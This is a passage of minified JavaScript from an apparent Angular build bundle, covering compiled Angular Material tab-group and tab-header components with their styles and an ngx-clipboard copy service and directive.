o;super(t),this._changeDetectorRef=e,this._animationMode=i,this._tabs=new r.QueryList,this._indexToSelect=0,this._tabBodyWrapperHeight=0,this._tabsSubscription=Hn.w.EMPTY,this._tabLabelSubscription=Hn.w.EMPTY,this._selectedIndex=null,this.headerPosition="above",this.selectedIndexChange=new r.EventEmitter,this.focusChange=new r.EventEmitter,this.animationDone=new r.EventEmitter,this.selectedTabChange=new r.EventEmitter(!0),this._groupId=vO++,this.animationDuration=n&&n.animationDuration?n.animationDuration:"500ms",this.disablePagination=!(!n||null==n.disablePagination)&&n.disablePagination,this.dynamicHeight=!(!n||null==n.dynamicHeight)&&n.dynamicHeight,this.contentTabIndex=null!==(o=null==n?void 0:n.contentTabIndex)&&void 0!==o?o:null}get dynamicHeight(){return this._dynamicHeight}set dynamicHeight(t){this._dynamicHeight=Ow(t)}get selectedIndex(){return this._selectedIndex}set selectedIndex(t){this._indexToSelect=Ew(t,null)}get animationDuration(){return this._animationDuration}set animationDuration(t){this._animationDuration=/^\d+$/.test(t)?t+"ms":t}get contentTabIndex(){return this._contentTabIndex}set contentTabIndex(t){this._contentTabIndex=Ew(t,null)}get backgroundColor(){return this._backgroundColor}set backgroundColor(t){const e=this._elementRef.nativeElement;e.classList.remove(`mat-background-${this.backgroundColor}`),t&&e.classList.add(`mat-background-${t}`),this._backgroundColor=t}ngAfterContentChecked(){const t=this._indexToSelect=this._clampTabIndex(this._indexToSelect);if(this._selectedIndex!=t){const e=null==this._selectedIndex;if(!e){this.selectedTabChange.emit(this._createChangeEvent(t));const e=this._tabBodyWrapper.nativeElement;e.style.minHeight=e.clientHeight+"px"}Promise.resolve().then(()=>{this._tabs.forEach((e,n)=>e.isActive=n===t),e||(this.selectedIndexChange.emit(t),this._tabBodyWrapper.nativeElement.style.minHeight="")})}this._tabs.forEach((e,n)=>{e.position=n-t,null!=this._selectedIndex&&0==e.position&&!e.origin&&(e.origin=t-this._selectedIndex)}),this._selectedIndex!==t&&(this._selectedIndex=t,this._changeDetectorRef.markForCheck())}ngAfterContentInit(){this._subscribeToAllTabChanges(),this._subscribeToTabLabels(),this._tabsSubscription=this._tabs.changes.subscribe(()=>{if(this._clampTabIndex(this._indexToSelect)===this._selectedIndex){const t=this._tabs.toArray();for(let e=0;e<t.length;e++)if(t[e].isActive){this._indexToSelect=this._selectedIndex=e;break}}this._changeDetectorRef.markForCheck()})}_subscribeToAllTabChanges(){this._allTabs.changes.pipe(_n(this._allTabs)).subscribe(t=>{this._tabs.reset(t.filter(t=>t._closestTabGroup===this||!t._closestTabGroup)),this._tabs.notifyOnChanges()})}ngOnDestroy(){this._tabs.destroy(),this._tabsSubscription.unsubscribe(),this._tabLabelSubscription.unsubscribe()}realignInkBar(){this._tabHeader&&this._tabHeader._alignInkBarToSelectedTab()}focusTab(t){const e=this._tabHeader;e&&(e.focusIndex=t)}_focusChanged(t){this.focusChange.emit(this._createChangeEvent(t))}_createChangeEvent(t){const e=new _O;return e.index=t,this._tabs&&this._tabs.length&&(e.tab=this._tabs.toArray()[t]),e}_subscribeToTabLabels(){this._tabLabelSubscription&&this._tabLabelSubscription.unsubscribe(),this._tabLabelSubscription=(0,nw.T)(...this._tabs.map(t=>t._stateChanges)).subscribe(()=>this._changeDetectorRef.markForCheck())}_clampTabIndex(t){return Math.min(this._tabs.length-1,Math.max(t||0,0))}_getTabLabelId(t){return`mat-tab-label-${this._groupId}-${t}`}_getTabContentId(t){return`mat-tab-content-${this._groupId}-${t}`}_setTabBodyWrapperHeight(t){if(!this._dynamicHeight||!this._tabBodyWrapperHeight)return;const e=this._tabBodyWrapper.nativeElement;e.style.height=this._tabBodyWrapperHeight+"px",this._tabBodyWrapper.nativeElement.offsetHeight&&(e.style.height=t+"px")}_removeTabBodyWrapperHeight(){const t=this._tabBodyWrapper.nativeElement;this._tabBodyWrapperHeight=t.clientHeight,t.style.height="",this.animationDone.emit()}_handleClick(t,e,n){t.disabled||(this.selectedIndex=e.focusIndex=n)}_getTabIndex(t,e){return t.disabled?null:this.selectedIndex===e?0:-1}_tabFocusChanged(t,e){t&&"mouse"!==t&&"touch"!==t&&(this._tabHeader.focusIndex=e)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.ChangeDetectorRef),r.\u0275\u0275directiveInject(bO,8),r.\u0275\u0275directiveInject(cM,8))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,inputs:{headerPosition:"headerPosition",animationDuration:"animationDuration",disablePagination:"disablePagination",dynamicHeight:"dynamicHeight",contentTabIndex:"contentTabIndex",selectedIndex:"selectedIndex",backgroundColor:"backgroundColor"},outputs:{selectedIndexChange:"selectedIndexChange",focusChange:"focusChange",animationDone:"animationDone",selectedTabChange:"selectedTabChange"},features:[r.\u0275\u0275InheritDefinitionFeature]}),t})(),xO=(()=>{class t extends wO{constructor(t,e,n,r){super(t,e,n,r)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.ChangeDetectorRef),r.\u0275\u0275directiveInject(bO,8),r.\u0275\u0275directiveInject(cM,8))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["mat-tab-group"]],contentQueries:function(t,e,n){if(1&t&&r.\u0275\u0275contentQuery(n,pO,5),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._allTabs=t)}},viewQuery:function(t,e){if(1&t&&(r.\u0275\u0275viewQuery(QM,5),r.\u0275\u0275viewQuery(XM,5)),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._tabBodyWrapper=t.first),r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._tabHeader=t.first)}},hostAttrs:[1,"mat-tab-group"],hostVars:4,hostBindings:function(t,e){2&t&&r.\u0275\u0275classProp("mat-tab-group-dynamic-height",e.dynamicHeight)("mat-tab-group-inverted-header","below"===e.headerPosition)},inputs:{color:"color",disableRipple:"disableRipple"},exportAs:["matTabGroup"],features:[r.\u0275\u0275ProvidersFeature([{provide:hO,useExisting:t}]),r.\u0275\u0275InheritDefinitionFeature],decls:6,vars:7,consts:[[3,"selectedIndex","disableRipple","disablePagination","indexFocused","selectFocusedIndex"],["tabHeader",""],["class","mat-tab-label mat-focus-indicator","role","tab","matTabLabelWrapper","","mat-ripple","","cdkMonitorElementFocus","",3,"id","mat-tab-label-active","disabled","matRippleDisabled","click","cdkFocusChange",4,"ngFor","ngForOf"],[1,"mat-tab-body-wrapper"],["tabBodyWrapper",""],["role","tabpanel",3,"id","mat-tab-body-active","content","position","origin","animationDuration","_onCentered","_onCentering",4,"ngFor","ngForOf"],["role","tab","matTabLabelWrapper","","mat-ripple","","cdkMonitorElementFocus","",1,"mat-tab-label","mat-focus-indicator",3,"id","disabled","matRippleDisabled","click","cdkFocusChange"],[1,"mat-tab-label-content"],[3,"ngIf"],[3,"cdkPortalOutlet"],["role","tabpanel",3,"id","content","position","origin","animationDuration","_onCentered","_onCentering"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"mat-tab-header",0,1),r.\u0275\u0275listener("indexFocused",function(t){return e._focusChanged(t)})("selectFocusedIndex",function(t){return e.selectedIndex=t}),r.\u0275\u0275template(2,tO,4,14,"div",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(3,"div",3,4),r.\u0275\u0275template(5,eO,1,9,"mat-tab-body",5),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275property("selectedIndex",e.selectedIndex||0)("disableRipple",e.disableRipple)("disablePagination",e.disablePagination),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngForOf",e._tabs),r.\u0275\u0275advance(1),r.\u0275\u0275classProp("_mat-animation-noopable","NoopAnimations"===e._animationMode),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngForOf",e._tabs))},directives:function(){return[TO,ct,SO,OM,ax,ut,vx,yO]},styles:[".mat-tab-group{display:flex;flex-direction:column;max-width:100%}.mat-tab-group.mat-tab-group-inverted-header{flex-direction:column-reverse}.mat-tab-label{height:48px;padding:0 24px;cursor:pointer;box-sizing:border-box;opacity:.6;min-width:160px;text-align:center;display:inline-flex;justify-content:center;align-items:center;white-space:nowrap;position:relative}.mat-tab-label:focus{outline:none}.mat-tab-label:focus:not(.mat-tab-disabled){opacity:1}.cdk-high-contrast-active .mat-tab-label:focus{outline:dotted 2px;outline-offset:-2px}.mat-tab-label.mat-tab-disabled{cursor:default}.cdk-high-contrast-active .mat-tab-label.mat-tab-disabled{opacity:.5}.mat-tab-label .mat-tab-label-content{display:inline-flex;justify-content:center;align-items:center;white-space:nowrap}.cdk-high-contrast-active .mat-tab-label{opacity:1}@media(max-width: 599px){.mat-tab-label{padding:0 12px}}@media(max-width: 959px){.mat-tab-label{padding:0 12px}}.mat-tab-group[mat-stretch-tabs]>.mat-tab-header .mat-tab-label{flex-basis:0;flex-grow:1}.mat-tab-body-wrapper{position:relative;overflow:hidden;display:flex;transition:height 500ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable.mat-tab-body-wrapper{transition:none;animation:none}.mat-tab-body{top:0;left:0;right:0;bottom:0;position:absolute;display:block;overflow:hidden;outline:0;flex-basis:100%}.mat-tab-body.mat-tab-body-active{position:relative;overflow-x:hidden;overflow-y:auto;z-index:1;flex-grow:1}.mat-tab-group.mat-tab-group-dynamic-height .mat-tab-body.mat-tab-body-active{overflow-y:hidden}\n"],encapsulation:2}),t})();const PO=yM(class{});let SO=(()=>{class t extends PO{constructor(t){super(),this.elementRef=t}focus(){this.elementRef.nativeElement.focus()}getOffsetLeft(){return this.elementRef.nativeElement.offsetLeft}getOffsetWidth(){return this.elementRef.nativeElement.offsetWidth}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","matTabLabelWrapper",""]],hostVars:3,hostBindings:function(t,e){2&t&&(r.\u0275\u0275attribute("aria-disabled",!!e.disabled),r.\u0275\u0275classProp("mat-tab-disabled",e.disabled))},inputs:{disabled:"disabled"},features:[r.\u0275\u0275InheritDefinitionFeature]}),t})();const MO=jw({passive:!0});let OO=(()=>{class t{constructor(t,e,n,i,o,s,a){this._elementRef=t,this._changeDetectorRef=e,this._viewportRuler=n,this._dir=i,this._ngZone=o,this._platform=s,this._animationMode=a,this._scrollDistance=0,this._selectedIndexChanged=!1,this._destroyed=new We.xQ,this._showPaginationControls=!1,this._disableScrollAfter=!0,this._disableScrollBefore=!0,this._stopScrolling=new We.xQ,this.disablePagination=!1,this._selectedIndex=0,this.selectFocusedIndex=new r.EventEmitter,this.indexFocused=new r.EventEmitter,o.runOutsideAngular(()=>{IM(t.nativeElement,"mouseleave").pipe(Pw(this._destroyed)).subscribe(()=>{this._stopInterval()})})}get selectedIndex(){return this._selectedIndex}set selectedIndex(t){t=Ew(t),this._selectedIndex!=t&&(this._selectedIndexChanged=!0,this._selectedIndex=t,this._keyManager&&this._keyManager.updateActiveItem(t))}ngAfterViewInit(){IM(this._previousPaginator.nativeElement,"touchstart",MO).pipe(Pw(this._destroyed)).subscribe(()=>{this._handlePaginatorPress("before")}),IM(this._nextPaginator.nativeElement,"touchstart",MO).pipe(Pw(this._destroyed)).subscribe(()=>{this._handlePaginatorPress("after")})}ngAfterContentInit(){const t=this._dir?this._dir.change:(0,ne.of)("ltr"),e=this._viewportRuler.change(150),n=()=>{this.updatePagination(),this._alignInkBarToSelectedTab()};this._keyManager=new Ww(this._items).withHorizontalOrientation(this._getLayoutDirection()).withHomeAndEnd().withWrap(),this._keyManager.updateActiveItem(this._selectedIndex),"undefined"!=typeof requestAnimationFrame?requestAnimationFrame(n):n(),(0,nw.T)(t,e,this._items.changes).pipe(Pw(this._destroyed)).subscribe(()=>{this._ngZone.run(()=>Promise.resolve().then(n)),this._keyManager.withHorizontalOrientation(this._getLayoutDirection())}),this._keyManager.change.pipe(Pw(this._destroyed)).subscribe(t=>{this.indexFocused.emit(t),this._setTabFocus(t)})}ngAfterContentChecked(){this._tabLabelCount!=this._items.length&&(this.updatePagination(),this._tabLabelCount=this._items.length,this._changeDetectorRef.markForCheck()),this._selectedIndexChanged&&(this._scrollToLabel(this._selectedIndex),this._checkScrollingControls(),this._alignInkBarToSelectedTab(),this._selectedIndexChanged=!1,this._changeDetectorRef.markForCheck()),this._scrollDistanceChanged&&(this._updateTabScrollPosition(),this._scrollDistanceChanged=!1,this._changeDetectorRef.markForCheck())}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete(),this._stopScrolling.complete()}_handleKeydown(t){if(!Cw(t))switch(t.keyCode){case 13:case 32:this.focusIndex!==this.selectedIndex&&(this.selectFocusedIndex.emit(this.focusIndex),this._itemSelected(t));break;default:this._keyManager.onKeydown(t)}}_onContentChanges(){const t=this._elementRef.nativeElement.textContent;t!==this._currentTextContent&&(this._currentTextContent=t||"",this._ngZone.run(()=>{this.updatePagination(),this._alignInkBarToSelectedTab(),this._changeDetectorRef.markForCheck()}))}updatePagination(){this._checkPaginationEnabled(),this._checkScrollingControls(),this._updateTabScrollPosition()}get focusIndex(){return this._keyManager?this._keyManager.activeItemIndex:0}set focusIndex(t){!this._isValidIndex(t)||this.focusIndex===t||!this._keyManager||this._keyManager.setActiveItem(t)}_isValidIndex(t){if(!this._items)return!0;const e=this._items?this._items.toArray()[t]:null;return!!e&&!e.disabled}_setTabFocus(t){if(this._showPaginationControls&&this._scrollToLabel(t),this._items&&this._items.length){this._items.toArray()[t].focus();const e=this._tabListContainer.nativeElement;e.scrollLeft="ltr"==this._getLayoutDirection()?0:e.scrollWidth-e.offsetWidth}}_getLayoutDirection(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}_updateTabScrollPosition(){if(this.disablePagination)return;const t=this.scrollDistance,e="ltr"===this._getLayoutDirection()?-t:t;this._tabList.nativeElement.style.transform=`translateX(${Math.round(e)}px)`,(this._platform.TRIDENT||this._platform.EDGE)&&(this._tabListContainer.nativeElement.scrollLeft=0)}get scrollDistance(){return this._scrollDistance}set scrollDistance(t){this._scrollTo(t)}_scrollHeader(t){return this._scrollTo(this._scrollDistance+("before"==t?-1:1)*this._tabListContainer.nativeElement.offsetWidth/3)}_handlePaginatorClick(t){this._stopInterval(),this._scrollHeader(t)}_scrollToLabel(t){if(this.disablePagination)return;const e=this._items?this._items.toArray()[t]:null;if(!e)return;const n=this._tabListContainer.nativeElement.offsetWidth,{offsetLeft:r,offsetWidth:i}=e.elementRef.nativeElement;let o,s;"ltr"==this._getLayoutDirection()?(o=r,s=o+i):(s=this._tabList.nativeElement.offsetWidth-r,o=s-i);const a=this.scrollDistance,c=this.scrollDistance+n;o<a?this.scrollDistance-=a-o+60:s>c&&(this.scrollDistance+=s-c+60)}_checkPaginationEnabled(){if(this.disablePagination)this._showPaginationControls=!1;else{const t=this._tabList.nativeElement.scrollWidth>this._elementRef.nativeElement.offsetWidth;t||(this.scrollDistance=0),t!==this._showPaginationControls&&this._changeDetectorRef.markForCheck(),this._showPaginationControls=t}}_checkScrollingControls(){this.disablePagination?this._disableScrollAfter=this._disableScrollBefore=!0:(this._disableScrollBefore=0==this.scrollDistance,this._disableScrollAfter=this.scrollDistance==this._getMaxScrollDistance(),this._changeDetectorRef.markForCheck())}_getMaxScrollDistance(){return this._tabList.nativeElement.scrollWidth-this._tabListContainer.nativeElement.offsetWidth||0}_alignInkBarToSelectedTab(){const t=this._items&&this._items.length?this._items.toArray()[this.selectedIndex]:null,e=t?t.elementRef.nativeElement:null;e?this._inkBar.alignToElement(e):this._inkBar.hide()}_stopInterval(){this._stopScrolling.next()}_handlePaginatorPress(t,e){e&&null!=e.button&&0!==e.button||(this._stopInterval(),DM(650,100).pipe(Pw((0,nw.T)(this._stopScrolling,this._destroyed))).subscribe(()=>{const{maxScrollDistance:e,distance:n}=this._scrollHeader(t);(0===n||n>=e)&&this._stopInterval()}))}_scrollTo(t){if(this.disablePagination)return{maxScrollDistance:0,distance:0};const e=this._getMaxScrollDistance();return this._scrollDistance=Math.max(0,Math.min(e,t)),this._scrollDistanceChanged=!0,this._checkScrollingControls(),{maxScrollDistance:e,distance:this._scrollDistance}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.ChangeDetectorRef),r.\u0275\u0275directiveInject(HM),r.\u0275\u0275directiveInject(wx,8),r.\u0275\u0275directiveInject(r.NgZone),r.\u0275\u0275directiveInject(Rw),r.\u0275\u0275directiveInject(cM,8))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,inputs:{disablePagination:"disablePagination"}}),t})(),EO=(()=>{class t extends OO{constructor(t,e,n,r,i,o,s){super(t,e,n,r,i,o,s),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(t){this._disableRipple=Ow(t)}_itemSelected(t){t.preventDefault()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.ChangeDetectorRef),r.\u0275\u0275directiveInject(HM),r.\u0275\u0275directiveInject(wx,8),r.\u0275\u0275directiveInject(r.NgZone),r.\u0275\u0275directiveInject(Rw),r.\u0275\u0275directiveInject(cM,8))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,inputs:{disableRipple:"disableRipple"},features:[r.\u0275\u0275InheritDefinitionFeature]}),t})(),TO=(()=>{class t extends EO{constructor(t,e,n,r,i,o,s){super(t,e,n,r,i,o,s)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.ChangeDetectorRef),r.\u0275\u0275directiveInject(HM),r.\u0275\u0275directiveInject(wx,8),r.\u0275\u0275directiveInject(r.NgZone),r.\u0275\u0275directiveInject(Rw),r.\u0275\u0275directiveInject(cM,8))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["mat-tab-header"]],contentQueries:function(t,e,n){if(1&t&&r.\u0275\u0275contentQuery(n,SO,4),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._items=t)}},viewQuery:function(t,e){if(1&t&&(r.\u0275\u0275viewQuery(aO,7),r.\u0275\u0275viewQuery(nO,7),r.\u0275\u0275viewQuery(rO,7),r.\u0275\u0275viewQuery(iO,5),r.\u0275\u0275viewQuery(oO,5)),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._inkBar=t.first),r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._tabListContainer=t.first),r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._tabList=t.first),r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._nextPaginator=t.first),r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._previousPaginator=t.first)}},hostAttrs:[1,"mat-tab-header"],hostVars:4,hostBindings:function(t,e){2&t&&r.\u0275\u0275classProp("mat-tab-header-pagination-controls-enabled",e._showPaginationControls)("mat-tab-header-rtl","rtl"==e._getLayoutDirection())},inputs:{selectedIndex:"selectedIndex"},outputs:{selectFocusedIndex:"selectFocusedIndex",indexFocused:"indexFocused"},features:[r.\u0275\u0275InheritDefinitionFeature],ngContentSelectors:qM,decls:13,vars:8,consts:[["aria-hidden","true","mat-ripple","",1,"mat-tab-header-pagination","mat-tab-header-pagination-before","mat-elevation-z4",3,"matRippleDisabled","click","mousedown","touchend"],["previousPaginator",""],[1,"mat-tab-header-pagination-chevron"],[1,"mat-tab-label-container",3,"keydown"],["tabListContainer",""],["role","tablist",1,"mat-tab-list",3,"cdkObserveContent"],["tabList",""],[1,"mat-tab-labels"],["aria-hidden","true","mat-ripple","",1,"mat-tab-header-pagination","mat-tab-header-pagination-after","mat-elevation-z4",3,"matRippleDisabled","mousedown","click","touchend"],["nextPaginator",""]],template:function(t,e){1&t&&(r.\u0275\u0275projectionDef(),r.\u0275\u0275elementStart(0,"div",0,1),r.\u0275\u0275listener("click",function(){return e._handlePaginatorClick("before")})("mousedown",function(t){return e._handlePaginatorPress("before",t)})("touchend",function(){return e._stopInterval()}),r.\u0275\u0275element(2,"div",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(3,"div",3,4),r.\u0275\u0275listener("keydown",function(t){return e._handleKeydown(t)}),r.\u0275\u0275elementStart(5,"div",5,6),r.\u0275\u0275listener("cdkObserveContent",function(){return e._onContentChanges()}),r.\u0275\u0275elementStart(7,"div",7),r.\u0275\u0275projection(8),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"mat-ink-bar"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(10,"div",8,9),r.\u0275\u0275listener("mousedown",function(t){return e._handlePaginatorPress("after",t)})("click",function(){return e._handlePaginatorClick("after")})("touchend",function(){return e._stopInterval()}),r.\u0275\u0275element(12,"div",2),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275classProp("mat-tab-header-pagination-disabled",e._disableScrollBefore),r.\u0275\u0275property("matRippleDisabled",e._disableScrollBefore||e.disableRipple),r.\u0275\u0275advance(5),r.\u0275\u0275classProp("_mat-animation-noopable","NoopAnimations"===e._animationMode),r.\u0275\u0275advance(5),r.\u0275\u0275classProp("mat-tab-header-pagination-disabled",e._disableScrollAfter),r.\u0275\u0275property("matRippleDisabled",e._disableScrollAfter||e.disableRipple))},directives:[OM,Uw,aO],styles:['.mat-tab-header{display:flex;overflow:hidden;position:relative;flex-shrink:0}.mat-tab-header-pagination{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;position:relative;display:none;justify-content:center;align-items:center;min-width:32px;cursor:pointer;z-index:2;-webkit-tap-highlight-color:transparent;touch-action:none}.mat-tab-header-pagination-controls-enabled .mat-tab-header-pagination{display:flex}.mat-tab-header-pagination-before,.mat-tab-header-rtl .mat-tab-header-pagination-after{padding-left:4px}.mat-tab-header-pagination-before .mat-tab-header-pagination-chevron,.mat-tab-header-rtl .mat-tab-header-pagination-after .mat-tab-header-pagination-chevron{transform:rotate(-135deg)}.mat-tab-header-rtl .mat-tab-header-pagination-before,.mat-tab-header-pagination-after{padding-right:4px}.mat-tab-header-rtl .mat-tab-header-pagination-before .mat-tab-header-pagination-chevron,.mat-tab-header-pagination-after .mat-tab-header-pagination-chevron{transform:rotate(45deg)}.mat-tab-header-pagination-chevron{border-style:solid;border-width:2px 2px 0 0;content:"";height:8px;width:8px}.mat-tab-header-pagination-disabled{box-shadow:none;cursor:default}.mat-tab-list{flex-grow:1;position:relative;transition:transform 500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-ink-bar{position:absolute;bottom:0;height:2px;transition:500ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable.mat-ink-bar{transition:none;animation:none}.mat-tab-group-inverted-header .mat-ink-bar{bottom:auto;top:0}.cdk-high-contrast-active .mat-ink-bar{outline:solid 2px;height:0}.mat-tab-labels{display:flex}[mat-align-tabs=center]>.mat-tab-header .mat-tab-labels{justify-content:center}[mat-align-tabs=end]>.mat-tab-header .mat-tab-labels{justify-content:flex-end}.mat-tab-label-container{display:flex;flex-grow:1;overflow:hidden;z-index:1}._mat-animation-noopable.mat-tab-list{transition:none;animation:none}.mat-tab-label{height:48px;padding:0 24px;cursor:pointer;box-sizing:border-box;opacity:.6;min-width:160px;text-align:center;display:inline-flex;justify-content:center;align-items:center;white-space:nowrap;position:relative}.mat-tab-label:focus{outline:none}.mat-tab-label:focus:not(.mat-tab-disabled){opacity:1}.cdk-high-contrast-active .mat-tab-label:focus{outline:dotted 2px;outline-offset:-2px}.mat-tab-label.mat-tab-disabled{cursor:default}.cdk-high-contrast-active .mat-tab-label.mat-tab-disabled{opacity:.5}.mat-tab-label .mat-tab-label-content{display:inline-flex;justify-content:center;align-items:center;white-space:nowrap}.cdk-high-contrast-active .mat-tab-label{opacity:1}@media(max-width: 599px){.mat-tab-label{min-width:72px}}\n'],encapsulation:2}),t})(),IO=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[[_t,mM,_x,EM,qw,hx],mM]}),t})();const kO=new r.InjectionToken("WindowToken","undefined"!=typeof window&&window.document?{providedIn:"root",factory:()=>window}:{providedIn:"root",factory:()=>{}});let AO=(()=>{class t{constructor(t,e,n){this.ngZone=t,this.document=e,this.window=n,this.copySubject=new We.xQ,this.copyResponse$=this.copySubject.asObservable(),this.config={}}configure(t){this.config=t}copy(t){if(!this.isSupported||!t)return this.pushCopyResponse({isSuccess:!1,content:t});const e=this.copyFromContent(t);return this.pushCopyResponse(e?{content:t,isSuccess:e}:{isSuccess:!1,content:t})}get isSupported(){return!!this.document.queryCommandSupported&&!!this.document.queryCommandSupported("copy")&&!!this.window}isTargetValid(t){if(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement){if(t.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');return!0}throw new Error("Target should be input or textarea")}copyFromInputElement(t,e=!0){try{this.selectTarget(t);const n=this.copyText();return this.clearSelection(e?t:void 0,this.window),n&&this.isCopySuccessInIE11()}catch(n){return!1}}isCopySuccessInIE11(){const t=this.window.clipboardData;return!(t&&t.getData&&!t.getData("Text"))}copyFromContent(t,e=this.document.body){if(this.tempTextArea&&!e.contains(this.tempTextArea)&&this.destroy(this.tempTextArea.parentElement||void 0),!this.tempTextArea){this.tempTextArea=this.createTempTextArea(this.document,this.window);try{e.appendChild(this.tempTextArea)}catch(r){throw new Error("Container should be a Dom element")}}this.tempTextArea.value=t;const n=this.copyFromInputElement(this.tempTextArea,!1);return this.config.cleanUpAfterCopy&&this.destroy(this.tempTextArea.parentElement||void 0),n}destroy(t=this.document.body){this.tempTextArea&&(t.removeChild(this.tempTextArea),this.tempTextArea=void 0)}selectTarget(t){return t.select(),t.setSelectionRange(0,t.value.length),t.value.length}copyText(){return this.document.execCommand("copy")}clearSelection(t,e){var n;t&&t.focus(),null===(n=e.getSelection())||void 0===n||n.removeAllRanges()}createTempTextArea(t,e){const n="rtl"===t.documentElement.getAttribute("dir");let r;return r=t.createElement("textarea"),r.style.fontSize="12pt",r.style.border="0",r.style.padding="0",r.style.margin="0",r.style.position="absolute",r.style[n?"right":"left"]="-9999px",r.style.top=(e.pageYOffset||t.documentElement.scrollTop)+"px",r.setAttribute("readonly",""),r}pushCopyResponse(t){this.copySubject.observers.length>0&&this.ngZone.run(()=>{this.copySubject.next(t)})}pushCopyReponse(t){this.pushCopyResponse(t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s),r.\u0275\u0275inject(kO,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac,providedIn:"root"}),t})(),DO=(()=>{class t{constructor(t,e,n,i){this.ngZone=t,this.host=e,this.renderer=n,this.clipboardSrv=i,this.cbOnSuccess=new r.EventEmitter,this.cbOnError=new r.EventEmitter,this.onClick=t=>{this.clipboardSrv.isSupported?this.targetElm&&this.clipboardSrv.isTargetValid(this.targetElm)?this.handleResult(this.clipboardSrv.copyFromInputElement(this.targetElm),this.targetElm.value,t):this.cbContent&&this.handleResult(this.clipboardSrv.copyFromContent(this.cbContent,this.container),this.cbContent,t):this.handleResult(!1,void 0,t)}}ngOnInit(){this.ngZone.runOutsideAngular(()=>{this.clickListener=this.renderer.listen(this.host.nativeElement,"click",this.onClick)})}ngOnDestroy(){this.clickListener&&this.clickListener(),this.clipboardSrv.destroy(this.container)}handleResult(t,e,n){let r={isSuccess:t,event:n};t?this.cbOnSuccess.observers.length>0&&(r=Object.assign(r,{content:e,successMessage:this.cbSuccessMsg}),this.ngZone.run(()=>{this.cbOnSuccess.emit(r)})):this.cbOnError.observers.length>0&&this.ngZone.run(()=>{this.cbOnError.emit(r)}),this.clipboardSrv.pushCopyResponse(r)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.NgZone),r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.Renderer2),r.\u0275\u0275directiveInject(AO))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","ngxClipboard",""]],inputs:{targetElm:["ngxClipboard","targetElm"],container:"container",cbContent:"cbContent",cbSuccessMsg:"cbSuccessMsg"},outputs:{cbOnSuccess:"cbOnSuccess",cbOnError:"cbOnError"}}),t})(),NO=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[[_t]]}),t})();var RO=n(1555);function LO(t,e){return new re.y(n=>{const r=t.length;if(0===r)return void n.complete();const i=new Array(r);let o=0,s=0;for(let a=0;a<r;a++){const c=(0,qe.D)(t[a]);let l=!1;n.add(c.subscribe({next:t=>{l||(l=!0,s++),i[a]=t},error:t=>n.error(t),complete:()=>{o++,(o===r||!l)&&(s===r&&n.next(e?e.reduce((t,e,n)=>(t[e]=i[n],t),{}):i),n.complete())}}))}})}let jO=(()=>{class t{constructor(t,e){this._renderer=t,this._elementRef=e,this.onChange=t=>{},this.onTouched=()=>{}}setProperty(t,e){this._renderer.setProperty(this._elementRef.nativeElement,t,e)}registerOnTouched(t){this.onTouched=t}registerOnChange(t){this.onChange=t}setDisabledState(t){this.setProperty("disabled",t)}}return 